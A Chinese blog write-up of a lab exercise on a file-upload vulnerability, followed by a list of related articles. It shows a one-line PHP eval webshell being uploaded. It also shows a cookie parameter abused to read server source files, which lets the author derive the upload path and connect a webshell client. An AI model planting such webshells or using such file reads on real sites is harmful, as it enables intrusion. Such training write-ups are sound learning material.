这道题也是借助大佬的帮助才成功,具体我们来看:

既然人家扫描发现后台目录有文件上传,我们也不能落后,顺便拿出了传说中的御剑,并进行一波扫描:

发现了几个比较有用的目录,特别是upload1.php跟upload2.php两个上传页面

我们先来访问upload1.php:

点击确定后是upload2.php,竟然是一片空白

不过中间好像有个上传的页面一闪而过,我们用burp抓包,来一页一页看页面

果然有这个页面,但是抓包的cookie引起了我们的注意:

Cookie: uploadmd5=verify%2F5a9300926f7fc020.txt

我们查看源代码:

竟然还有一个隐藏的提交表单

<input type="hidden" name="verify" value="5a9300926f7fc020"/>

我们解码这个 : 5a9300926f7fc020   ----->    结果是 :  1524990922

感觉好像跟题目没有一点关系的好吧

但是我们又突然发现它是以 .txt 结尾的,这是不是会存在任意文件读取漏洞,我们稍后尝试,我们进行下一步上传

我们直接构造 1.php 内容为  <?php @eval($_POST["joker"]);?> 进行上传

太棒了,我们直接用菜刀链接,等等,上传路径去哪里了......

分析数据包可能是upload_file.php....我们访问试一下

mmp,什么鬼....就卡了好久好久...

突然想到还有一个可能包含任意文件读取的点,我们重新抓包

verify%2F5a9300926f7fc020   ------>   upload_file.php

激动啊,我竟然看到了源代码,我们记录下来

<?php
$path="uploadfile/";//上传路径
$verify=$_POST["verify"];
$time=date("Ymd");
if($_FILES["filename"]["name"])
{
$file1=$_FILES["filename"]["name"];
$file2 = $path.$time.'_'.$verify.'_'.$file1;
$flag=1;
}
if($flag) $result=move_uploaded_file($_FILES["filename"]["tmp_name"],$file2);
if($result) echo "上传成功!";
?>

发现包含了上传路径!!!good!!!

$result=move_uploaded_file($_FILES["filename"]["tmp_name"],$file2);  

关键在这一句,$file2 可能保存的就是文件的上传路径

$file2 = $path.$time.'_'.$verify.'_'.$file1; 

其中:     $path="uploadfile/"
                $verify=$_POST["verify"];  
我想到了那个隐藏的提交表单,其中value="5a9300926f7fc020"
                $time=date("Ymd");  
Ymd不就年月日,那今天就是20180429

这样一来上传的路径不就是   admin/uploadfile/20180429_5a9300926f7fc020_1.php

我们访问,并用菜刀链接:

后来才发现还有upload.php,御剑估计老了,我们用任意代码的漏洞查看

竟然是cookie的生成过程,哈哈哈

到此为止,掌握方法,顺便告诉我们cookie的重要性

6. webshell文件上传分析溯源的更多相关文章

  1. 1.5 webshell文件上传漏洞分析溯源(1~4)

    webshell文件上传漏洞分析溯源(第一题) 我们先来看基础页面: 先上传1.php ---->   ,好吧意料之中 上传1.png  ---->   我们查看页面元素 -----> ...

  2. Python学习---抽屉框架分析[点赞功能/文件上传分析]0317

    点赞功能分析 前台传递过来新闻id[new_id]和session[session内有用户ID和用户之间的信息]到后台 后台News数据库内用户和新闻是多对多的关系,查看第三张表中的内容,判读用户Id ...

  3. UEditor编辑器两个版本任意文件上传漏洞分析

    0x01 前言 UEditor是由百度WEB前端研发部开发的所见即所得的开源富文本编辑器,具有轻量.可定制.用户体验优秀等特点 ,被广大WEB应用程序所使用:本次爆出的高危漏洞属于.NET版本,其它的 ...

  4. [转]UEditor编辑器两个版本任意文件上传漏洞分析

    0x01 前言 UEditor是由百度WEB前端研发部开发的所见即所得的开源富文本编辑器,具有轻量.可定制.用户体验优秀等特点 ,被广大WEB应用程序所使用:本次爆出的高危漏洞属于.NET版本,其它的 ...

  5. 文件上传漏洞靶场分析 UPLOAD_LABS

    文件上传漏洞靶场(作者前言) 文件上传漏洞 产生原理 PASS 1) function checkFile() { var file = document.getElementsByName('upl ...

  6. HTTP POST请求报文格式分析与Java实现文件上传

    时间 2014-12-11 12:41:43  CSDN博客 原文  http://blog.csdn.net/bboyfeiyu/article/details/41863951 主题 HTTPHt ...

  7. Hadoop之HDFS原理及文件上传下载源码分析(上)

    HDFS原理 首先说明下,hadoop的各种搭建方式不再介绍,相信各位玩hadoop的同学随便都能搭出来. 楼主的环境: 操作系统:Ubuntu 15.10 hadoop版本:2.7.3 HA:否(随 ...

  8. Hadoop之HDFS原理及文件上传下载源码分析(下)

    上篇Hadoop之HDFS原理及文件上传下载源码分析(上)楼主主要介绍了hdfs原理及FileSystem的初始化源码解析, Client如何与NameNode建立RPC通信.本篇将继续介绍hdfs文 ...

  9. SpringMVC源码分析--文件上传

    SpringMVC提供了文件上传的功能,接下来我们就简单了解一下SpringMVC文件上传的开发及大致过程. 首先需要在springMVC的配置文件中配置文件上传解析器 <bean id=&qu ...

随机推荐

  1. 九度OJ 1028:继续畅通工程 (最小生成树)

    时间限制:1 秒 内存限制:32 兆 特殊判题:否 提交:3140 解决:1338 题目描述:     省政府"畅通工程"的目标是使全省任何两个村庄间都可以实现公路交通(但不一定有 ...

  2. struct对齐

    1 基本数据类型的自然对齐 就是说,基本数据类型的变量不能随便放在内存的任意位置,它们的起始地址必须被它们的大小整除. double是8个字节,float,int,enum是4字节,bool.char ...

  3. Linux就该这么学--命令集合11(配置系统相关信息)

    1.配置主机名称: 查看主机名: hostname 修改主机名: vim /etc/hostname 2.配置网卡信息: 在红帽RHEL6系统中网卡配置文件的前缀为“ifcfg-eth”,第一块即为“ ...

  4. debian支持的系统架构介绍

    debian系统支持类型有armel.armhf.i386.amd64.mips.mipsel, powerpc.sparc.s390.s390x等. 详细对比文章见https://www.debia ...

  5. 图形绘制处理逻辑VC

    // 逻辑1:先从资源中读取背景资源,然后将绘图对象与DC绑定,通过绘图对象绘出背景 // 逻辑2:先从资源中读取背景资源,新建一个MEMDC,将绘图对象与MEMDC绑定,并且 // 通过绘图对象在内 ...

  6. android 电池(一):锂电池基本原理篇【转】

    本文转载自:http://blog.csdn.net/xubin341719/article/details/8497830 关键词:Android  电池关机充电 androidboot.mode ...

  7. SDUT OJ类型转换函数的应用

    题目描述 处理一个复数与一个double数相加的运算,结果存放在一个double型变量d1中,输出d1的值.定义Complex(复数)类,在成员函数中包含重载类型转换运算符:operator doub ...

  8. ActivemMQ之消息服务器平台(发邮件)

    消息服务平台 处理公司内部各种消息业务 比如 发送邮件  发送短信  微信推送 接口有两种类型 异步 同步 同步需求: 当调用消息服务平台,需要返回消息服务平台调用第三方平台接口是否成功 异步需求: ...

  9. mysql too many connections 解决方法

    1.mysql -u root -p 回车输入密码进入mysql   2.show processlist; 查看连接数,可以发现有很多连接处于sleep状态,这些其实是暂时没有用的,所以可以kill ...

  10. java--List判断是否为空

    list.isEmpty()和list.size()==0 没有区别 isEmpty()判断有没有元素,size()返回元素个数 如果判断一个集合有无元素,用isEmpty()方法. 这就相当与,你要 ...